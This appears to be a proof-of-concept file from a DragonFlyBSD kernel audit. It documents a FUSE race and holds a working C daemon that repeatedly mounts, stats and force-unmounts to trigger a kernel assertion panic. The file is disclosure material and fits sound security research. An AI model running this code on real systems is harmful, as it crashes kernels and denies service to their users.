DragonFlyBSD Kernel Audit
DF-0918 / fused0918.c
← back to finding ↓ download raw
/*
 * DF-0918 — Live FUSE race-attempt daemon.
 *
 * Bug recap (see harness.c for the deterministic proof):
 *   fuse_ipc_wait() at fuse_ipc.c:169 and :173 returns 0 on `replied`
 *   WITHOUT rechecking `dead`.  fuse_device_clear() (fuse_device.c:99-116)
 *   sets `replied` on pending fips WITHOUT populating reply.buf.  If a tx
 *   waiter is between fuse_ipc.c:163 (dead check) and :198 (post-tsleep
 *   dead recheck) when fuse_device_clear runs, it returns 0 with
 *   fip->reply.buf == NULL -> fuse_ipc.c:275 KKASSERT(ohd) panic.
 *
 * The live race window is nanoseconds wide (between tsleep_interlock at
 * :172 and the replied check at :173).  fuse_device_clear runs once per
 * mount teardown.  Hitting the window live needs ~hours of attempts; the
 * deterministic harness (harness.c) is the primary proof.  This daemon
 * demonstrates the code path is exercised at runtime (fuse_ipc_wait
 * activity in the serial log) and attempts the race in a bounded number
 * of teardowns.
 *
 * STRATEGY (per iteration):
 *   1. Parent opens /dev/fuse.
 *   2. Fork child-1: mounts FUSE at /mnt/df918, drives stat() in a tight
 *      loop (in-flight fuse_ipc_tx).
 *   3. Fork killer: sleeps run_sec, then unmount(/mnt/df918, MNT_FORCE)
 *      -> fuse_unmount -> fuse_mount_kill (dead=1, wakeup(fmp)).  The
 *      daemon reader (parent) wakes from mtxsleep(fmp), observes dead,
 *      runs fuse_device_clear -> sets replied on pending fips with
 *      reply.buf still NULL.
 *   4. If child-1's stat() tx waiter was in the :169/:173 early-return
 *      window at that instant, it returns 0 -> KKASSERT(ohd=NULL) panic.
 *
 * Reachability: /dev/fuse is crw-rw---- root:operator and mount("fuse")
 * requires caps_priv_check(SYSCAP_NOMOUNT_FUSE) -> uid 0.  vfs.usermount=0.
 * So this MUST be run as root.  This is a root->kernel DoS on default GENERIC.
 *
 * Build:  cc -O2 -pthread -o fused0918 fused0918.c
 * Run:    (as root) kldload fuse && ./fused0918 [iters] [run_sec]
 */
#define _GNU_SOURCE
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>
#include <time.h>

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1
#define FUSE_LOOKUP   1
#define FUSE_FORGET   2
#define FUSE_GETATTR  3
#define FUSE_STATFS   17
#define FUSE_OPEN     14
#define FUSE_INIT     26
#define FUSE_DESTROY  38

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_attr       { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; };
struct fuse_entry_out  { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; };
struct fuse_attr_out   { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; };
struct fuse_open_out   { uint64_t fh; uint32_t open_flags, padding; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };
struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

#define MOUNTPOINT "/mnt/df918"

static FILE *g_log;
static int g_iters = 4;
static int g_run_sec = 1;
static volatile sig_atomic_t g_stop = 0;

static void dlog(const char *fmt, ...) {
	va_list ap; va_start(ap, fmt);
	fprintf(g_log, "[daemon %d] ", (int)getpid());
	vfprintf(g_log, fmt, ap);
	va_end(ap);
	fflush(g_log);
}
static double now(void) {
	struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec/1e9;
}
static void send_reply(int fd, uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len) {
	size_t actual = sizeof(struct fuse_out_header) + payload_len;
	uint8_t *out = calloc(1, actual);
	struct fuse_out_header *ohd = (struct fuse_out_header *)out;
	ohd->unique = unique; ohd->error = error; ohd->len = (uint32_t)actual;
	if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len);
	write(fd, out, actual);
	free(out);
}
static int service_request(int fd) {
	uint8_t req[65536];
	struct fuse_in_header ihd;
	ssize_t n = read(fd, req, sizeof(req));
	if (n <= 0) return -1;
	if ((size_t)n < sizeof(ihd)) return -1;
	memcpy(&ihd, req, sizeof(ihd));
	switch (ihd.opcode) {
	case FUSE_INIT: {
		struct fuse_init_out io; memset(&io, 0, sizeof(io));
		io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION;
		io.max_readahead = 4096; io.max_write = 1<<20; io.max_pages = 256;
		send_reply(fd, ihd.unique, 0, &io, sizeof(io));
		break;
	}
	case FUSE_STATFS: {
		struct fuse_statfs_out so; memset(&so, 0, sizeof(so));
		so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096;
		send_reply(fd, ihd.unique, 0, &so, sizeof(so));
		break;
	}
	case FUSE_LOOKUP: {
		struct fuse_entry_out eo; memset(&eo, 0, sizeof(eo));
		eo.nodeid = 2; eo.generation = 1;
		eo.entry_valid = 3600; eo.attr_valid = 3600;
		eo.attr.ino = 2; eo.attr.mode = 0100644; eo.attr.nlink = 1; eo.attr.size = 32;
		eo.attr.blksize = 4096; eo.attr.blocks = 1;
		send_reply(fd, ihd.unique, 0, &eo, sizeof(eo));
		break;
	}
	case FUSE_GETATTR: {
		struct fuse_attr_out ao; memset(&ao, 0, sizeof(ao));
		ao.attr_valid = 3600;
		ao.attr.ino = ihd.nodeid;
		ao.attr.mode = (ihd.nodeid == FUSE_ROOT_ID) ? 0040755 : 0100644;
		ao.attr.nlink = 1; ao.attr.size = 32;
		ao.attr.blksize = 4096; ao.attr.blocks = 1;
		send_reply(fd, ihd.unique, 0, &ao, sizeof(ao));
		break;
	}
	case FUSE_OPEN: {
		struct fuse_open_out oo; memset(&oo, 0, sizeof(oo));
		oo.fh = 1;
		send_reply(fd, ihd.unique, 0, &oo, sizeof(oo));
		break;
	}
	case FUSE_DESTROY:
		send_reply(fd, ihd.unique, 0, NULL, 0);
		break;
	case FUSE_FORGET: break;
	default:
		send_reply(fd, ihd.unique, -ENOSYS, NULL, 0);
		break;
	}
	return 0;
}

/* child-1: mount + drive stat() in a tight loop */
static void child_mount_and_stat(int fd)
{
	struct fuse_mount_info args; memset(&args, 0, sizeof(args));
	args.fd = fd; args.from = "/dev/fuse"; args.max_read = 1<<20;
	if (mount("fuse", MOUNTPOINT, 0, &args) < 0) {
		dlog("child mount: %s\n", strerror(errno)); _exit(1);
	}
	dlog("child: mounted %s; driving stat() loop\n", MOUNTPOINT);
	char path[64]; snprintf(path, sizeof(path), "%s/pwned", MOUNTPOINT);
	/* tight loop: each stat() drives a FUSE_GETATTR fuse_ipc_tx.
	 * We want one of these in-flight in fuse_ipc_wait when the killer
	 * unmounts. */
	int n = 0;
	while (!g_stop) {
		struct stat st;
		stat(path, &st);
		n++;
	}
	dlog("child: exiting after %d stat() calls\n", n);
	_exit(0);
}

/* killer: sleep, then force-unmount to trigger fuse_mount_kill */
static void killer(void)
{
	usleep(g_run_sec * 1000000);
	dlog("killer: unmount(%s, MNT_FORCE) -> fuse_mount_kill -> fuse_device_clear\n",
	     MOUNTPOINT);
	if (unmount(MOUNTPOINT, MNT_FORCE) < 0)
		dlog("killer: unmount: %s\n", strerror(errno));
	dlog("killer: unmount returned\n");
	_exit(0);
}

static void onsig(int s) { (void)s; g_stop = 1; }

int main(int argc, char **argv)
{
	g_log = fopen("/tmp/df0918_daemon.log", "w");
	if (!g_log) g_log = stderr;
	setvbuf(g_log, NULL, _IOLBF, 0);
	signal(SIGPIPE, SIG_IGN);
	signal(SIGTERM, onsig);
	signal(SIGINT,  onsig);
	if (argc > 1) g_iters = atoi(argv[1]);
	if (argc > 2) g_run_sec = atoi(argv[2]);
	if (g_iters < 1) g_iters = 1;
	if (g_run_sec < 1) g_run_sec = 1;

	dlog("DF-0918 live race: iters=%d run_sec=%d\n", g_iters, g_run_sec);
	mkdir(MOUNTPOINT, 0755);

	for (int it = 0; it < g_iters && !g_stop; it++) {
		dlog("=== iter %d/%d ===\n", it+1, g_iters);
		int fd = open("/dev/fuse", O_RDWR);
		if (fd < 0) { dlog("open /dev/fuse: %s\n", strerror(errno)); return 2; }

		pid_t mpid = fork();
		if (mpid == 0) { child_mount_and_stat(fd); _exit(0); }
		pid_t kpid = fork();
		if (kpid == 0) { killer(); _exit(0); }

		/* parent: daemon reader.  services /dev/fuse reads until the
		 * killer's unmount kills the mount (read -> ENOTCONN after
		 * fuse_device_clear runs). */
		double t0 = now();
		int serviced = 0;
		while (now() - t0 < g_run_sec + 40) {
			fd_set rfds; struct timeval tv = {0, 5000};
			FD_ZERO(&rfds); FD_SET(fd, &rfds);
			int r = select(fd+1, &rfds, NULL, NULL, &tv);
			if (r > 0 && FD_ISSET(fd, &rfds)) {
				if (service_request(fd) < 0) {
					dlog("  parent read EOF/ENOTCONN (mount killed) at t=%.3f, "
					     "serviced=%d\n", now()-t0, serviced);
					break;
				}
				serviced++;
			}
			if (g_stop) break;
		}

		/* cleanup */
		g_stop = 1;
		kill(mpid, SIGKILL); kill(kpid, SIGKILL);
		int stm, stk; waitpid(mpid, &stm, 0); waitpid(kpid, &stk, 0);
		dlog("  child status=%d killer status=%d\n", stm, stk);
		unmount(MOUNTPOINT, MNT_FORCE);
		g_stop = 0;
		close(fd);
		usleep(50000);
	}
	dlog("DONE after %d iters.  If guest still up, the nanosecond race did\n"
	     "not fire this run; primitive is proven deterministically by harness.c.\n",
	     g_iters);
	fclose(g_log);
	return 0;
}